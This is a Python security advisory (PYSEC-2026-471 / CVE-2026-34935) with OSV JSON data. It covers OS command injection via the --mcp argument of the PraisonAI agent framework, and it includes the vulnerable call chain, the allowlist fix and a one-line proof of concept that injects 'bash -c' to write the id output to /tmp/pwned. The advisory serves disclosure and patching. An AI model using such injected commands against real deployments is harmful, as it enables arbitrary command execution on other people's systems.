PYSEC-2026-471

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-06-29 12:05
VLAI
Details

Summary

The --mcp CLI argument is passed directly to shlex.split() and forwarded through the call chain to anyio.open_process() with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user.

Details

cli/features/mcp.py:61 (source) -> praisonaiagents/mcp/mcp.py:345 (hop) -> mcp/client/stdio/__init__.py:253 (sink)

# source
parts = shlex.split(command)

# hop
cmd, args, env = self.parse_mcp_command(command, env_vars)
self.server_params = StdioServerParameters(command=cmd, args=arguments)

# sink
process = await anyio.open_process([command, *args])

Fixed in commit 47bff65413beaa3c21bf633c1fae4e684348368c (v4.5.69) by introducing a command allowlist:

ALLOWED_COMMANDS = {"npx", "uvx", "node", "python"}
if cmd not in ALLOWED_COMMANDS:
    raise ValueError(f"Disallowed command: {cmd}")

PoC

```python

tested on: praisonai==4.5.48

install: pip install praisonai==4.5.48

run: praisonai --mcp "bash -c 'id > /tmp/pwned'"

verify: cat /tmp/pwned

expected output: uid=1000(...) gid=1000(...) groups=1000(...)

```

Impact

Any deployment where the --mcp argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Impacted products
Name purl
praisonai
Aliases
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.68"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.15"
            },
            {
              "fixed": "4.5.69"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.5.15",
        "4.5.16",
        "4.5.18",
        "4.5.19",
        "4.5.20",
        "4.5.21",
        "4.5.22",
        "4.5.23",
        "4.5.24",
        "4.5.25",
        "4.5.26",
        "4.5.27",
        "4.5.28",
        "4.5.29",
        "4.5.30",
        "4.5.31",
        "4.5.32",
        "4.5.33",
        "4.5.34",
        "4.5.35",
        "4.5.36",
        "4.5.37",
        "4.5.38",
        "4.5.39",
        "4.5.40",
        "4.5.41",
        "4.5.42",
        "4.5.43",
        "4.5.44",
        "4.5.45",
        "4.5.46",
        "4.5.48",
        "4.5.49",
        "4.5.51",
        "4.5.52",
        "4.5.54",
        "4.5.55",
        "4.5.56",
        "4.5.57",
        "4.5.58",
        "4.5.59",
        "4.5.60",
        "4.5.62",
        "4.5.63",
        "4.5.64",
        "4.5.65",
        "4.5.67",
        "4.5.68"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34935",
    "GHSA-9gm9-c8mq-vq7m"
  ],
  "details": "### Summary\n\nThe `--mcp` CLI argument is passed directly to `shlex.split()` and forwarded through the call chain to `anyio.open_process()` with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user.\n\n### Details\n\n`cli/features/mcp.py:61` (source) -\u003e `praisonaiagents/mcp/mcp.py:345` (hop) -\u003e `mcp/client/stdio/__init__.py:253` (sink)\n```python\n# source\nparts = shlex.split(command)\n\n# hop\ncmd, args, env = self.parse_mcp_command(command, env_vars)\nself.server_params = StdioServerParameters(command=cmd, args=arguments)\n \n# sink\nprocess = await anyio.open_process([command, *args])\n\n```\n\nFixed in commit `47bff65413beaa3c21bf633c1fae4e684348368c` (v4.5.69) by introducing a command allowlist:\n```python\nALLOWED_COMMANDS = {\"npx\", \"uvx\", \"node\", \"python\"}\nif cmd not in ALLOWED_COMMANDS:\n    raise ValueError(f\"Disallowed command: {cmd}\")\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.48\n# install: pip install praisonai==4.5.48\n# run: praisonai --mcp \"bash -c \u0027id \u003e /tmp/pwned\u0027\"\n# verify: cat /tmp/pwned\n# expected output: uid=1000(...) gid=1000(...) groups=1000(...)\n ```\n\n### Impact\n\nAny deployment where the `--mcp` argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.",
  "id": "PYSEC-2026-471",
  "modified": "2026-06-29T12:05:42.503846Z",
  "published": "2026-06-29T11:50:46.601872Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9gm9-c8mq-vq7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9gm9-c8mq-vq7m"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()"
}


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